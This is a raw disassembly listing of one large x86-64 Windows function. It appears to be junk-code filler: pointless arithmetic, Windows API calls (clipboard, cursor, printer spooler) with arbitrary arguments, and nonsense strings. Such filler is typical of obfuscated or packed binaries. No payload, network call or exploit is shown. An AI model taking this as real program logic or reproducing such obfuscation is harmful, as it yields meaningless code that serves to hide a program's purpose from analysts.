mov qword [rsp + 0xd3f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcca8], rax
lea rax, [rsp + 0x47a8]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xc858]
mov qword [rsp + 0xd400], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd400]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xbd48]
mov qword [rcx], rax
lea rax, [rsp + 0x4bc4]
mov qword [rsp + 0xd408], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1198]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov rax, qword [rsp + 0x8eb8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8cc8]
mov r9, qword [rax]
mov r8, qword [rsp + 0x8da0]
mov rax, qword [rsp + 0x8c20]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x8f68]
call fcn.1401bb150
nop
mov rax, qword [rsp + 0x8cc0]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x53]
mov rax, qword [rsp + 0x8e18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8f78]
movzx ecx, byte [rax]
call fcn.1401ba490
nop
jmp 0x1401b89b4
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x8bd8], eax
cmp dword [rsp + 0x8bd8], 0x46ca
je 0x1401b893c
jmp 0x1401b8963
mov r9d, 0x5f
lea r8, [rsp + 0x2ee00]
mov edx, 0xd3
lea rcx, str.tee_nanotechnology_rates_conflating
call qword [sym.imp.USER32.dll_EnumDisplaySettingsExA]
mov dword [rsp + 0x8bdc], eax
lea rcx, [rsp + 0x8c90]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [rsp + 0x42c0], eax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0xb78]
movzx ecx, word [0x1401e6010]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rdx, qword [rsp + 0x253a8]
mov rcx, qword [rsp + 0x8d68]
call qword [sym.imp.USER32.dll_GetWindowRgn]
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rax]
call fcn.1401b9aa0
nop
jmp 0x1401b8a2d
call qword [sym.imp.USER32.dll_GetInputState]
mov dword [rsp + 0x8be0], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov ecx, 0x45
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov dword [rsp + 0x8be4], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c18]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x1401b8ada
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e78]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x8c70]
call fcn.1401b9400
nop
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c98]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jl 0x1401b8b5f
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x54], al
mov rcx, qword [rsp + 0x8f50]
call qword [sym.imp.USER32.dll_WindowFromDC]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov word [rsp + 0xb64], ax
mov r8d, 0xe6
lea rdx, [rsp + 0x29db8]
lea rcx, str.Apprehended
call qword [sym.imp.USER32.dll_OemToCharBuffA]
mov dword [rsp + 0x41ac], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov byte [rsp + 0x54], al
jmp 0x1401b8bbe
mov rcx, qword [rsp + 0x8e10]
call fcn.1401b9aa0
nop
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov edx, dword [rsp + 0x423c]
mov ecx, dword [rcx]
add ecx, edx
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x8be8], al
cmp byte [rsp + 0x8be8], 0x46
je 0x1401b8c23
cmp byte [rsp + 0x8be8], 0x62
je 0x1401b8c0b
jmp 0x1401b8c9e
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
jmp 0x1401b8c9e
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
and eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movzx eax, word [0x1401e6004]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x253b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x253b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov cl, 0xef
call qword [sym.imp.USER32.dll_IsCharLowerA]
mov dword [rsp + 0x8bec], eax
mov eax, dword [rsp + 0x4244]
mov dword [rsp + 0x8bf0], eax
cmp dword [rsp + 0x8bf0], 0x5a6c
je 0x1401b8cbd
jmp 0x1401b8cd9
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
mov ecx, 0xfc
call qword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [rsp + 0x42c4], eax
jmp 0x1401b8d88
mov eax, dword [rsp + 0x4280]
movzx ecx, al
mov eax, dword [rsp + 0x424c]
shl eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rdx, [rsp + 0x25408]
lea rcx, str.Wealthiest_Foreman
call qword [sym.imp.USER32.dll_OemToCharA]
mov dword [rsp + 0x42ac], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8da0]
shr rax, cl
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6004], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
movzx ecx, word [rsp + 0xb78]
movzx edx, word [rsp + 0xb70]
add ecx, edx
cmp eax, ecx
jg 0x1401b8e4a
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov dword [rsp + 0x8bf4], eax
cmp dword [rsp + 0x8bf4], 0x397
je 0x1401b8e2e
cmp dword [rsp + 0x8bf4], 0x768
je 0x1401b8dfd
jmp 0x1401b8e4a
mov rcx, qword [rsp + 0x253b8]
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x253c0], rax
mov rax, qword [rsp + 0x8e20]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x8c70]
call fcn.1401b9400
nop
jmp 0x1401b8e4a
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
jmp 0x1401b8e85
mov rcx, qword [rsp + 0x8e08]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8c80]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0x8da0]
mov rax, qword [rsp + 0x8ca8]
movzx ecx, word [rax]
call fcn.1401ba1d0
nop
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
jmp 0x1401b8f02
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
lea r8, [rsp + 0x253d8]
mov rdx, qword [rsp + 0x253c8]
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x8bf8], eax
cmp dword [rsp + 0x8bf8], 0xc10
je 0x1401b8f22
jmp 0x1401b8f5f
movzx eax, byte [rsp + 0x51]
add eax, 0xac
mov byte [rsp + 0x51], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rax]
call fcn.1401b9aa0
nop
jmp 0x1401b8f79
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov word [rsp + 0xb64], ax
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
jmp 0x1401b90d0
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xe2
lea r9, [rsp + 0x8c80]
mov r8d, 0xe3
mov rdx, qword [rsp + 0x8cd8]
mov rcx, qword [rsp + 0x8dc8]
call sub.WINSPOOL.DRV_GetFormA
mov dword [rsp + 0x41f8], eax
movzx eax, word [rsp + 0xb78]
mov dword [rsp + 0x8bfc], eax
cmp dword [rsp + 0x8bfc], 0xc5c
je 0x1401b9003
jmp 0x1401b904c
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf2
lea r9, [rsp + 0x8ca0]
mov r8d, 4
mov rdx, qword [rsp + 0x8cb8]
mov ecx, 0xd4
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rdx, qword [0x1401e7410]
sar rdx, cl
mov rcx, rdx
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
or eax, ecx
mov word [rsp + 0xb70], ax
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb64]
xor eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
lea rdx, [rsp + 0x253f0]
mov rcx, qword [rsp + 0x8dc8]
call sub.WINSPOOL.DRV_ResetPrinterA
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x8c18]
call fcn.1401b9aa0
nop
movsx eax, word [rsp + 0xb64]
mov dword [rsp + 0x8c00], eax
cmp dword [rsp + 0x8c00], 0x58e
je 0x1401b9167
cmp dword [rsp + 0x8c00], 0x5f0
je 0x1401b9210
jmp 0x1401b9225
movabs rax, 0x78b8c07b8e87df
mov rcx, qword [rsp + 0x8c18]
imul rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
cmp rax, qword [rcx]
je 0x1401b91c4
movabs rax, 0x79e27984261915
mov rcx, qword [0x1401e7410]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
movzx edx, word [rsp + 0xb64]
mov rcx, qword [rsp + 0x8c70]
call fcn.1401b9400
nop
jmp 0x1401b920e
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x41d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov edx, dword [rsp + 0x4228]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x1401b920e
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
jmp 0x1401b9225
movsx eax, word [rsp + 0xb68]
add eax, 0x7a8
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8c20]
movabs rcx, 0x7bcd7776343a95
mov rax, qword [rax]
imul rax, rcx
cmp rax, qword [rsp + 0x8c18]
ja 0x1401b92a9
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
lea rax, [rsp + 0x8c90]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x8c68]
lea r8, [rsp + 0x8c90]
mov rdx, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8c58]
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [rsp + 0x4228], eax
movzx eax, word [rsp + 0xb60]
sub eax, 0x183
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
cmp eax, ecx
jne 0x1401b9385
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
add eax, 0x13
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x253d0], rax
movabs rax, 0x764574a240ac9f
cmp qword [rsp + 0x253d0], rax
je 0x1401b9315
movabs rax, 0x7b53bfaca60651
cmp qword [rsp + 0x253d0], rax
je 0x1401b9349
jmp 0x1401b9385
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rax]
call fcn.1401b9aa0
nop
jmp 0x1401b9385
lea rax, [rsp + 0x8c18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x93
lea r9, [rsp + 0x8c90]
mov r8d, 0x5b
mov edx, 0x90
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_GetJobA
mov dword [rsp + 0x41c4], eax
mov eax, dword [section..data]
and eax, 0x1941
mov dword [section..data], eax
mov r8d, 0x17
mov rdx, qword [rsp + 0x8d48]
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
nop
mov eax, dword [section..data]
xor eax, 0x1daf
cmp eax, 0x501c
jle 0x1401b93d6
mov eax, dword [section..data]
or eax, 0x15dd
mov dword [section..data], eax
mov r9d, 0xd6
mov r8b, 0x43
mov dl, 0x6f
mov cl, 0x3f
call fcn.1401ba490
mov eax, dword [rsp + 0x8630]
add rsp, 0x2efe8
ret